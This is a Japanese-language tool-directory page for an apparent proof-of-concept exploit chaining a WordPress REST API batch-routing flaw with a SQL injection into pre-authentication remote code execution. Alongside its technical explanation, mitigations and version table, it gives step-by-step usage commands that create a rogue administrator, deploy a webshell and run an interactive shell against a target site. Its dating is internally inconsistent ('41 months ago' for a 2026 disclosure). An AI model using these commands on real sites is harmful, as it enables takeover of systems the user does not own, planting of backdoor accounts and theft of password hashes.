Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030-Wp2Shell — WordPress REST API SQLi から RCE への PoC (CVE-2026-63030 & CVE-2026-60137) | Kitploit
ツール/GitHubGitHub/ghostinexile/cve-2026-63030-wp2shell
脆弱性スキャナーコード分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHubghostinexile/cve-2026-63030-wp2shell

CVE-2026-63030-Wp2Shell

WordPress REST API SQLi から RCE への PoC (CVE-2026-63030 & CVE-2026-60137)

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
ウェブサイト
41ヶ月前未レビュー

CVE-2026-63030 (wp2shell) — WordPressコアの事前認証RCE

REST APIバッチルートの混乱とCVE-2026-60137 SQLインジェクションの連鎖

CVE-2026-63030 CVE-2026-60137 aka wp2shell Status

要約 — 未認証の攻撃者が、WordPress REST APIのバッチルーティングのバグと、WP_QueryのSQLインジェクションを連鎖させ、標準のWordPress環境(プラグイン不要、アカウント不要、ユーザー操作不要)で完全なリモートコード実行を達成できます。この脆弱性はAdam Kues(Assetnote / Searchlight Cyber)氏によって発見され、wp2shellと名付けられました。2026年7月17日に6.9.5、7.0.2、6.8.6でパッチが提供されました。

概要

CVE-2026-63030 は、WordPressコアのREST APIバッチエンドポイント(/wp-json/batch/v1)が失敗したサブリクエストを誤って処理し、後続のサブリクエストが誤ったルートでディスパッチされるという脆弱性です。単独ではロジックバグです。CVE-2026-60137(WP_Query の author__not_in パラメータにおけるSQLインジェクション)と連鎖させることで、未認証のリモートコード実行になります。

WordPressはCVE-2026-63030をCritical、CVE-2026-60137をHighと評価しています。サードパーティのCVSS推定値はトラッカーによって異なります(それぞれ概ね7.5と9.1)。個々のスコアだけでは連鎖による影響を完全には捉えられないためです。どの単一の数値が示されても、これはクリティカルとして扱ってください — WordPressは影響を受ける全サイトに自動更新を強制するほど深刻と判断しました。

仕組み

根本原因 — バッチ処理の記録ずれ。 バッチ内のサブリクエストが検証に失敗すると、結果の WP_Error が内部の $validation[] 配列に記録されますが、ルーティングに使用される並行の $matches[] 配列は更新されません。この1件分のずれにより、後続のすべてのサブリクエストが1位置ずれます:サブリクエスト N は、サブリクエスト N+1 用のルートハンドラでディスパッチされることになります。

サニタイズ回避。 本来ルーティングされていないハンドラの下で実行されるため、サブリクエストはそのハンドラ自身の入力検証(型チェックや is_array() チェックを含む)をスキップします。

SQLインジェクション。 このずれにより、攻撃者が制御した入力が配列ではなく生の文字列として WP_Query の author__not_in パラメータに到達します。通常ならそれを拒否する is_array() ガードが実行されないため、値はそのまま NOT IN (...) 句に埋め込まれます。

侵害への経路。 このインジェクションはSELECT専用(スタックドクエリ不可)ですが、データベースユーザーが FILE 権限を持つホストでは、WebルートにPHPウェブシェルを書き込むのに十分です。それが利用できない場合は、同じインジェクションポイントを使って wp_users テーブルをブラインド/UNIONインジェクションでダンプし、管理者パスワードハッシュを取得できます。いずれにせよ、アカウントもプラグインもユーザー操作も不要です。

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant B as Batch Handler
    participant Q as WP_Query
    participant D as MySQL
 
    A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
    Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
    B->>B: Sub-request N dispatched with sub-request N+1's route handler
    Note over B: Wrong handler context — that route's input validation never runs
    B->>Q: author__not_in passed as raw string, not array
    Note over Q: is_array() guard skipped
    Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
    alt DB user has FILE privilege
        D-->>A: Writes PHP webshell to web root → RCE
    else No FILE privilege
        D-->>A: Blind/UNION injection dumps admin password hashes
    end

使用方法

  1. リポジトリをクローンします
root@kitploit:~
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell 
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
  1. 脆弱性のテスト - 悪用せずに対象が脆弱か確認します:
root@kitploit:~
python3 CVE-2026-63030.py -t https://target.com --test
  1. 管理者アカウントの作成 - SQLインジェクションで新しいWordPress管理者を作成します:
root@kitploit:~
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin

# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
  1. シェルコマンドの実行 - ウェブシェルを展開してコマンドを実行します:
root@kitploit:~
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"

# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i

# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
  1. クリーンアップ:作成したリソース(管理者ユーザーとウェブシェル)を削除します:
root@kitploit:~
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup

# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
  -U created_admin -P password \
  --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
  1. 追加オプション
root@kitploit:~
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080

# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60

影響を受けるバージョン

  • RCEチェーンには両方のバグが必要で、それらが重なるのは6.9.xと7.0.xのみです。そのため6.8にはパッチがありますが、完全なチェーンとしては認定されていません。
  • Cloudflareの分析によると、RCE経路にはさらにサイトが永続オブジェクトキャッシュを使用していないことが必要です。これは一般的なデフォルトですが、パッチ状態だけでなく実際の曝露をトリアージする際には確認する価値があります。
  • GitHub Security Advisories:GHSA-ff9f-jf42-662q(ルート混乱)・GHSA-fpp7-x2x2-2mjf(SQLi)

発見とタイムライン

  • ルート混乱 / RCEチェーン(CVE-2026-63030) — WordPressのHackerOneプログラムを通じて、Assetnote / Searchlight CyberのAdam Kues氏によって報告されました。
  • SQLインジェクション(CVE-2026-60137) — TF1T、dtro、haongoのチームによって別途報告されました。
  • 2026年7月17日 — WordPressは緊急リリース6.9.5と7.0.2をリリースし、6.8.6に修正をバックポート、7.1 Beta 2に両方の修正を含めました。Cloudflareは同日、公開開示に先立ち、両CVEに対するマネージドWAFルールを展開しました。
  • 開示以降 — 技術的な解説記事と、少なくとも1つの公開PoC(そのドキュメントによると検出専用)が流通しています。開示から数日時点では、実環境での悪用は確認されていませんでしたが、これを確定情報とせず、最新の脅威インテルを確認してください。

緩和策

  1. ただちにパッチを適用して、6.9.5、7.0.2、6.8.6以降に更新してください — これが唯一の完全な修正です。WordPressは影響を受けるサイトで強制自動更新を有効にしましたが、想定せずに実際に適用されたことを確認してください。
  2. 今すぐパッチを適用できない場合? WAF/エッジレベルでバッチエンドポイントへの未認証アクセスをブロックします:/wp-json/batch/v1 と ?rest_route=/batch/v1 の両方をブロックしてください。これは緊急措置にすぎません — 正規のバッチAPI利用(例:ブロックベース編集)を壊す可能性があり、パッチ適用の代替にはなりません。
  3. マネージドWAFルールを有効にしてください(プロバイダーが提供している場合)。Cloudflareは両CVEに対するルールを開示当日に無料・有料プラン全体に展開しました。
  4. パッチ適用後、開示期間(2026年7月17日以降)のアクセスログで、不正な形式や異常なサブリクエストパスを持つバッチリクエストを確認してください。

参照

  • WordPress 7.0.2リリースのお知らせ — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • GHSA-ff9f-jf42-662q(CVE-2026-63030) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
  • GHSA-fpp7-x2x2-2mjf(CVE-2026-60137) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Searchlight Cyberのwp2shellアドバイザリ — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • CloudflareのWAF対応状況 — https://blog.cloudflare.com/wordpress-vulnerabilities/
ツールをダウンロード
WordPressバージョンSQLi(CVE-2026-60137)ルート混乱(CVE-2026-63030)実際のリスク
< 6.8.0——影響なし
6.8.0 – 6.8.5✅—SQLiのみ — author__not_in に信頼できない入力を渡すにはプラグイン/テーマが必要。コア単体では事前認証で到達不可。いずれにせよパッチ適用。
6.9.0 – 6.9.4✅✅未認証RCE
7.0.0 – 7.0.1✅✅未認証RCE
7.1 Beta 1✅✅未認証RCE(ベータチャンネル)